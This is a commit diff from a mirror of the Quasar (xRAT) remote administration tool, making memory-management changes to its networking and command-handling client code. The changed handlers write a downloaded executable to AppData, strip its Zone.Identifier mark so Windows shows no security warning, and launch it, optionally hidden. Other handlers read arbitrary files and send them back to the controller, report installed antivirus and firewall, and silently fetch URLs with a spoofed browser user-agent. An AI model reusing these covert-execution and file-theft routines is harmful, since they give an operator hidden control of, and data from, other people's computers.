mirror of https://github.com/quasar/Quasar.git
Minor changes - memory management
This commit is contained in:
parent
ee061e927d
commit
8c1c1ca00c
|
@ -11,6 +11,7 @@ using System.ComponentModel;
|
||||||
using System.IO;
|
using System.IO;
|
||||||
using System.Net;
|
using System.Net;
|
||||||
using System.Net.Sockets;
|
using System.Net.Sockets;
|
||||||
|
using System.Threading;
|
||||||
|
|
||||||
namespace Core
|
namespace Core
|
||||||
{
|
{
|
||||||
|
@ -269,6 +270,8 @@ namespace Core
|
||||||
|
|
||||||
if (!_handle.ReceiveAsync(e))
|
if (!_handle.ReceiveAsync(e))
|
||||||
Process(null, e);
|
Process(null, e);
|
||||||
|
|
||||||
|
GC.Collect();
|
||||||
}
|
}
|
||||||
else
|
else
|
||||||
{
|
{
|
||||||
|
@ -375,6 +378,8 @@ namespace Core
|
||||||
|
|
||||||
|
|
||||||
private void HandleSendQueue()
|
private void HandleSendQueue()
|
||||||
|
{
|
||||||
|
new Thread(() =>
|
||||||
{
|
{
|
||||||
for (int i = 0; i < 5; i++)
|
for (int i = 0; i < 5; i++)
|
||||||
{
|
{
|
||||||
|
@ -393,6 +398,8 @@ namespace Core
|
||||||
if (!_handle.SendAsync(_item[1]))
|
if (!_handle.SendAsync(_item[1]))
|
||||||
Process(null, _item[1]);
|
Process(null, _item[1]);
|
||||||
|
|
||||||
|
GC.Collect();
|
||||||
|
|
||||||
return;
|
return;
|
||||||
}
|
}
|
||||||
catch
|
catch
|
||||||
|
@ -401,6 +408,7 @@ namespace Core
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
Disconnect();
|
Disconnect();
|
||||||
|
}).Start();
|
||||||
}
|
}
|
||||||
|
|
||||||
private byte[] Header(byte[] data)
|
private byte[] Header(byte[] data)
|
||||||
|
|
|
@ -92,15 +92,14 @@ namespace Core.Commands
|
||||||
{
|
{
|
||||||
new Thread(new ThreadStart(() =>
|
new Thread(new ThreadStart(() =>
|
||||||
{
|
{
|
||||||
byte[] fileBytes = command.FileBytes;
|
|
||||||
string tempFile = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData), command.FileName);
|
string tempFile = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData), command.FileName);
|
||||||
|
|
||||||
try
|
try
|
||||||
{
|
{
|
||||||
if (fileBytes[0] != 'M' && fileBytes[1] != 'Z')
|
if (command.FileBytes[0] != 'M' && command.FileBytes[1] != 'Z')
|
||||||
throw new Exception("no pe file");
|
throw new Exception("no pe file");
|
||||||
|
|
||||||
File.WriteAllBytes(tempFile, fileBytes);
|
File.WriteAllBytes(tempFile, command.FileBytes);
|
||||||
|
|
||||||
DeleteFile(tempFile + ":Zone.Identifier");
|
DeleteFile(tempFile + ":Zone.Identifier");
|
||||||
|
|
||||||
|
@ -113,10 +112,13 @@ namespace Core.Commands
|
||||||
startInfo.UseShellExecute = command.RunHidden;
|
startInfo.UseShellExecute = command.RunHidden;
|
||||||
startInfo.FileName = tempFile;
|
startInfo.FileName = tempFile;
|
||||||
Process.Start(startInfo);
|
Process.Start(startInfo);
|
||||||
|
|
||||||
|
command = null;
|
||||||
}
|
}
|
||||||
catch
|
catch
|
||||||
{
|
{
|
||||||
DeleteFile(tempFile);
|
DeleteFile(tempFile);
|
||||||
|
command = null;
|
||||||
new Core.Packets.ClientPackets.Status("Execution failed!").Execute(client);
|
new Core.Packets.ClientPackets.Status("Execution failed!").Execute(client);
|
||||||
return;
|
return;
|
||||||
}
|
}
|
||||||
|
@ -320,11 +322,11 @@ namespace Core.Commands
|
||||||
{
|
{
|
||||||
try
|
try
|
||||||
{
|
{
|
||||||
byte[] bytes = File.ReadAllBytes(command.RemotePath);
|
new Core.Packets.ClientPackets.DownloadFileResponse(Path.GetFileName(command.RemotePath), File.ReadAllBytes(command.RemotePath), command.ID).Execute(client);
|
||||||
new Core.Packets.ClientPackets.DownloadFileResponse(Path.GetFileName(command.RemotePath), bytes, command.ID).Execute(client);
|
command = null;
|
||||||
}
|
}
|
||||||
catch
|
catch
|
||||||
{ }
|
{ command = null; }
|
||||||
}
|
}
|
||||||
|
|
||||||
public static void HandleMouseClick(Core.Packets.ServerPackets.MouseClick command, Core.Client client)
|
public static void HandleMouseClick(Core.Packets.ServerPackets.MouseClick command, Core.Client client)
|
||||||
|
@ -378,28 +380,33 @@ namespace Core.Commands
|
||||||
infoCollection[17] = SystemCore.GetAntivirus();
|
infoCollection[17] = SystemCore.GetAntivirus();
|
||||||
infoCollection[18] = "Firewall";
|
infoCollection[18] = "Firewall";
|
||||||
infoCollection[19] = SystemCore.GetFirewall();
|
infoCollection[19] = SystemCore.GetFirewall();
|
||||||
|
|
||||||
|
command = null;
|
||||||
|
infoCollection = null;
|
||||||
|
|
||||||
new Core.Packets.ClientPackets.GetSystemInfoResponse(infoCollection).Execute(client);
|
new Core.Packets.ClientPackets.GetSystemInfoResponse(infoCollection).Execute(client);
|
||||||
|
|
||||||
}
|
}
|
||||||
catch
|
catch
|
||||||
{ }
|
{
|
||||||
|
command = null;
|
||||||
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
public static void HandleVisitWebsite(Core.Packets.ServerPackets.VisitWebsite command, Core.Client client)
|
public static void HandleVisitWebsite(Core.Packets.ServerPackets.VisitWebsite command, Core.Client client)
|
||||||
{
|
{
|
||||||
string url = command.URL;
|
if (!command.URL.StartsWith("http"))
|
||||||
|
command.URL = "http://" + command.URL;
|
||||||
|
|
||||||
if (!url.StartsWith("http"))
|
if (Uri.IsWellFormedUriString(command.URL, UriKind.RelativeOrAbsolute))
|
||||||
url = "http://" + url;
|
|
||||||
|
|
||||||
if (Uri.IsWellFormedUriString(url, UriKind.RelativeOrAbsolute))
|
|
||||||
{
|
{
|
||||||
if (!command.Hidden)
|
if (!command.Hidden)
|
||||||
Process.Start(url);
|
Process.Start(command.URL);
|
||||||
else
|
else
|
||||||
{
|
{
|
||||||
try
|
try
|
||||||
{
|
{
|
||||||
HttpWebRequest Request = (HttpWebRequest)HttpWebRequest.Create(url);
|
HttpWebRequest Request = (HttpWebRequest)HttpWebRequest.Create(command.URL);
|
||||||
Request.UserAgent = "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.114 Safari/537.36";
|
Request.UserAgent = "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.114 Safari/537.36";
|
||||||
Request.AllowAutoRedirect = true;
|
Request.AllowAutoRedirect = true;
|
||||||
Request.Timeout = 10000;
|
Request.Timeout = 10000;
|
||||||
|
@ -410,9 +417,10 @@ namespace Core.Commands
|
||||||
reader.Close();
|
reader.Close();
|
||||||
DataStream.Close();
|
DataStream.Close();
|
||||||
Response.Close();
|
Response.Close();
|
||||||
|
command = null;
|
||||||
}
|
}
|
||||||
catch
|
catch
|
||||||
{ }
|
{ command = null; }
|
||||||
}
|
}
|
||||||
|
|
||||||
new Core.Packets.ClientPackets.Status("Visited Website").Execute(client);
|
new Core.Packets.ClientPackets.Status("Visited Website").Execute(client);
|
||||||
|
@ -423,6 +431,7 @@ namespace Core.Commands
|
||||||
{
|
{
|
||||||
MessageBox.Show(null, command.Text, command.Caption, (MessageBoxButtons)Enum.Parse(typeof(MessageBoxButtons), command.MessageboxButton), (MessageBoxIcon)Enum.Parse(typeof(MessageBoxIcon), command.MessageboxIcon));
|
MessageBox.Show(null, command.Text, command.Caption, (MessageBoxButtons)Enum.Parse(typeof(MessageBoxButtons), command.MessageboxButton), (MessageBoxIcon)Enum.Parse(typeof(MessageBoxIcon), command.MessageboxIcon));
|
||||||
new Core.Packets.ClientPackets.Status("Showed Messagebox").Execute(client);
|
new Core.Packets.ClientPackets.Status("Showed Messagebox").Execute(client);
|
||||||
|
command = null;
|
||||||
}
|
}
|
||||||
|
|
||||||
public static void HandleUpdate(Core.Packets.ServerPackets.Update command, Core.Client client)
|
public static void HandleUpdate(Core.Packets.ServerPackets.Update command, Core.Client client)
|
||||||
|
|
|
@ -0,0 +1,85 @@
|
||||||
|
using System;
|
||||||
|
using System.Collections.Generic;
|
||||||
|
using System.Net;
|
||||||
|
using System.Net.Sockets;
|
||||||
|
using System.Threading;
|
||||||
|
using Core.Packets;
|
||||||
|
using Core.Packets.ClientPackets;
|
||||||
|
using Core.Packets.ServerPackets;
|
||||||
|
|
||||||
|
namespace Core
|
||||||
|
{
|
||||||
|
public class Server
|
||||||
|
{
|
||||||
|
public event ServerStateEventHandler ServerState;
|
||||||
|
public delegate void ServerStateEventHandler(Server s, bool listening);
|
||||||
|
|
||||||
|
private void OnServerState(bool listening)
|
||||||
|
{
|
||||||
|
if (ServerState != null)
|
||||||
|
{
|
||||||
|
ServerState(this, listening);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
public event ClientStateEventHandler ClientState;
|
||||||
|
public delegate void ClientStateEventHandler(Server s, Client c, bool connected);
|
||||||
|
|
||||||
|
private void OnClientState(Client c, bool connected)
|
||||||
|
{
|
||||||
|
if (ClientState != null)
|
||||||
|
{
|
||||||
|
ClientState(this, c, connected);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
public event ClientReadEventHandler ClientRead;
|
||||||
|
public delegate void ClientReadEventHandler(Server s, Client c, IPacket packet);
|
||||||
|
|
||||||
|
private void OnClientRead(Client c, IPacket packet)
|
||||||
|
{
|
||||||
|
if (ClientRead != null)
|
||||||
|
{
|
||||||
|
ClientRead(this, c, packet);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
public event ClientWriteEventHandler ClientWrite;
|
||||||
|
public delegate void ClientWriteEventHandler(Server s, Client c, IPacket packet, long length);
|
||||||
|
|
||||||
|
private void OnClientWrite(Client c, IPacket packet, long length, byte[] rawData)
|
||||||
|
{
|
||||||
|
if (ClientWrite != null)
|
||||||
|
{
|
||||||
|
ClientWrite(this, c, packet, length);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
private bool Processing { get; set; }
|
||||||
|
public int BufferSize { get; set; }
|
||||||
|
|
||||||
|
public bool Listening { get; private set; }
|
||||||
|
|
||||||
|
private List<KeepAlive> _keepAlives;
|
||||||
|
|
||||||
|
private List<Type> PacketTypes { get; set; }
|
||||||
|
|
||||||
|
public Server(int bufferSize)
|
||||||
|
{
|
||||||
|
PacketTypes = new List<Type>();
|
||||||
|
BufferSize = bufferSize;
|
||||||
|
}
|
||||||
|
|
||||||
|
internal void HandleKeepAlivePacket(KeepAliveResponse packet, Client client)
|
||||||
|
{
|
||||||
|
foreach (KeepAlive keepAlive in _keepAlives)
|
||||||
|
{
|
||||||
|
if (keepAlive.TimeSent == packet.TimeSent && keepAlive.Client == client)
|
||||||
|
{
|
||||||
|
_keepAlives.Remove(keepAlive);
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
|
@ -11,6 +11,7 @@ using System.IO;
|
||||||
using System.Net;
|
using System.Net;
|
||||||
using System.Net.Sockets;
|
using System.Net.Sockets;
|
||||||
using xRAT_2.Settings;
|
using xRAT_2.Settings;
|
||||||
|
using System.Threading;
|
||||||
|
|
||||||
namespace Core
|
namespace Core
|
||||||
{
|
{
|
||||||
|
@ -277,6 +278,8 @@ namespace Core
|
||||||
|
|
||||||
if (!_handle.ReceiveAsync(e))
|
if (!_handle.ReceiveAsync(e))
|
||||||
Process(null, e);
|
Process(null, e);
|
||||||
|
|
||||||
|
GC.Collect();
|
||||||
}
|
}
|
||||||
else
|
else
|
||||||
{
|
{
|
||||||
|
@ -386,6 +389,8 @@ namespace Core
|
||||||
|
|
||||||
|
|
||||||
private void HandleSendQueue()
|
private void HandleSendQueue()
|
||||||
|
{
|
||||||
|
new Thread(() =>
|
||||||
{
|
{
|
||||||
for (int i = 0; i < 5; i++)
|
for (int i = 0; i < 5; i++)
|
||||||
{
|
{
|
||||||
|
@ -404,6 +409,8 @@ namespace Core
|
||||||
if (!_handle.SendAsync(_item[1]))
|
if (!_handle.SendAsync(_item[1]))
|
||||||
Process(null, _item[1]);
|
Process(null, _item[1]);
|
||||||
|
|
||||||
|
GC.Collect();
|
||||||
|
|
||||||
return;
|
return;
|
||||||
}
|
}
|
||||||
catch
|
catch
|
||||||
|
@ -412,6 +419,7 @@ namespace Core
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
Disconnect();
|
Disconnect();
|
||||||
|
}).Start();
|
||||||
}
|
}
|
||||||
|
|
||||||
private byte[] Header(byte[] data)
|
private byte[] Header(byte[] data)
|
||||||
|
|
Loading…
Reference in New Issue